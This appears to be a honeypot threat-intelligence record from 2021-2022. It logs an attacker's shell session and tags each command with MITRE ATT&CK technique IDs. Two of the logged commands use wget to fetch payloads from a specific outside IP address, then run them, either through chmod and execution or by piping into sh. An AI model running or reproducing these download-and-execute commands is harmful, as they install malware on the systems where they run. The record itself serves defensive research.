Honeypot attack session (period 2021_2022), commands issued:
cat /bin/sh
cd /tmp; wget http://31.44.185.235/unknown -O- >.f; chmod 777 .f; ./.f ssh.unknown
cat /bin/sh || cat /bin/busybox || cat /bin/bash
wget http://31.44.185.235/s -O- |sh

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1082 System Information Discovery
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter